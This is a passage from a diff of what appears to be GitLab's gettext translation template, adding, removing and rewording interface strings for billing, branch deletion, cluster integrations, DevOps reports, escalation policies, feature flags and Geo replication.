+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
